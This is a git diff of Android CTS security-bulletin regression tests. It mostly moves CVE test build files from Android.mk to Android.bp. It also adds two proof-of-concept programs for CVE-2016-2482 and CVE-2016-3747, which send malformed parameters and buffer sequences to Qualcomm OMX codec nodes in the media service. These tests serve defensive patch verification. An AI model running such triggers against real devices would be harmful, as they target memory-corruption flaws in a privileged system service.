+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-2412",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
deleted file mode 100644
index 77de47e..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2016-2412

-LOCAL_SRC_FILES := poc.cpp

-

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-LOCAL_SHARED_LIBRARIES := libbinder \

-                          libutils

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts sts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-LOCAL_CFLAGS += -Wall -Werror

-

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
new file mode 100644
index 0000000..c2436bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-2419",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "liblog",
+        "libbinder",
+        "libutils",
+        "libstagefright",
+        "libmedia",
+        "libmediadrm",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
new file mode 100644
index 0000000..af352aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-2460",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libcutils",
+        "libc",
+        "libbinder",
+        "libutils",
+        "liblog",
+        "libmedia",
+        "libsoundtrigger",
+        "libgui",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.mk
deleted file mode 100755
index 186a7da..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2460
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SHARED_LIBRARIES := \
-        libcutils \
-        libc \
-        libbinder \
-        libutils \
-        liblog \
-        libmedia \
-        libsoundtrigger \
-        libgui
-
-LOCAL_C_INCLUDES := \
-    $(TOP)/frameworks/native/include/media/openmax \
-    $(TOP)/frameworks/av/include/media/ \
-    $(TOP)/frameworks/av/media/libstagefright \
-    $(call include-path-for, audio-effects) \
-    $(call include-path-for, audio-utils)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
new file mode 100644
index 0000000..26635d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-2471",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.mk
deleted file mode 100755
index ff70aa1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2471
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
similarity index 71%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
index 616fd6e..bb7ecac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -12,30 +12,30 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2419
+LOCAL_MODULE := CVE-2016-2482
 LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_C_INCLUDES += $(TOP)/frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/native/include/media/openmax \
 
-LOCAL_SHARED_LIBRARIES := liblog \
+LOCAL_SHARED_LIBRARIES := libnativehelper \
+                          liblog \
+                          libstagefright \
                           libbinder \
                           libutils \
-                          libstagefright \
                           libmedia \
-                          libmediadrm
+                          libmedia_omx \
+                          libstagefright_foundation
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
+LOCAL_CPPFLAGS += -Wall -Werror
+
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..7215e00
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,151 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <utils/StrongPointer.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+  const char *name = "OMX.qcom.video.decoder.avc";
+  sp<IMemory> memory;
+  sp<IOMXNode> node = 0;
+  sp<IOMX> mOmx;
+  IOMX::buffer_id bufferId = 0;
+  int outMemSize = 1024;
+  int bufferCnt = 4;
+  int memSize = 49 * outMemSize * bufferCnt;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+  ALOGE("-----------decode------------");
+  status_t err = mOmx->allocateNode(name, observerDec, &node);
+  if (err != OK) {
+    ALOGE("%s node allocation fails", name);
+    client.disconnect();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+  memory = dealerIn->allocate(memSize);
+  if (memory.get() == nullptr) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  if (params == NULL) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+  params->nBufferCountActual = 1024 * 1024 / 16;
+  params->nBufferSize = 0x31000;
+  params->format.video.nFrameHeight = 0;
+
+  /*
+   * Exit from here if setParameter fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGI("setParameter, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  /*
+   * Exit from here if useBuffer fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+  ALOGE("useBuffer, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  params->nBufferCountActual = 0xFFFFFFFF;
+
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGE("setParameter, change actualcount, err: %d", err);
+
+  err = node->freeNode();
+  free(params);
+  client.disconnect();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() {
+  return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
new file mode 100644
index 0000000..5d900d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-3746",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "liblog",
+        "libbinder",
+        "libutils",
+        "libmedia",
+        "libstagefright",
+        "libmedia_omx",
+        "libhidlmemory",
+        "libstagefright_foundation",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
deleted file mode 100644
index 2767528..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3746
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES += $(TOP)/frameworks/native/include/media/openmax \
-                    $(TOP)/frameworks/av/media/libstagefright
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog \
-    libbinder \
-    libutils \
-    libmedia \
-    libstagefright \
-    libmedia_omx \
-    libhidlmemory \
-    libstagefright_foundation
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
similarity index 71%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
index dede1c7..08041fe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -1,5 +1,4 @@
 # Copyright (C) 2018 The Android Open Source Project
-#
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
 # You may obtain a copy of the License at
@@ -12,28 +11,30 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2012-6702
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/av/media/libstagefright \
+                    $(TOP)/frameworks/native/include/media/openmax
 
 LOCAL_SHARED_LIBRARIES := \
-        libc \
-        libexpat \
-        liblog
+        libstagefright \
+        libbinder \
+        libmedia \
+        libmedia_omx \
+        liblog \
+        libutils
 
-# Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
 LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..38a0afa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/MemoryDealer.h>
+#include <jni.h>
+#include <log/log.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <utils/StrongPointer.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+  sp<IOMXNode> node;
+  sp<IOMX> mOmx;
+  int fenceFd = -1;
+  const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  params->nPortIndex = 0;  // input port
+  params->format.video.nFrameHeight = 1280 * 4;
+  params->format.video.nFrameWidth = 720 * 4;
+  params->nBufferCountActual = 12;
+  params->nBufferSize = 73728;
+  params->nBufferCountMin = 0x4;
+
+  int inMemSize = params->nBufferSize * 12;
+  int outMemSize = 49152 * 4;
+  int inBufferCnt = 12;
+  int outBufferCnt = 4;
+  int inBufferSize = inMemSize / inBufferCnt;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<IMemory> memory;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  status_t err = mOmx->allocateNode(name, observer, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", name);
+    return false;
+  }
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    if (memory.get() == nullptr) {
+      ALOGE("memory allocate failed for port index 0, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxInBuf(memory);
+    err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+    ALOGI("useBuffer, port index 0, err: %d", err);
+  }
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    if (memory.get() == nullptr) {
+      ALOGE("memory allocate failed for port index 1, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxOutBuf(memory);
+    err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+  }
+
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  OMXBuffer omxInBuf(memory);
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  OMXBuffer omxOutBuf(memory);
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+  free(params);
+  err = node->freeNode();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
new file mode 100644
index 0000000..2a488ae
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-3818",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.mk
deleted file mode 100755
index 0fe16b7..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3818
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
new file mode 100644
index 0000000..d076d40
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-3913",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+        "libmedia",
+    ],
+    cppflags: [
+        "-Wno-unused-parameter",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
similarity index 85%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
index 498e85f..ecb3722 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -10,13 +10,12 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License
-
+# limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0477
+LOCAL_MODULE := CVE-2016-5862
 LOCAL_SRC_FILES := poc.c
 LOCAL_MULTILIB := both
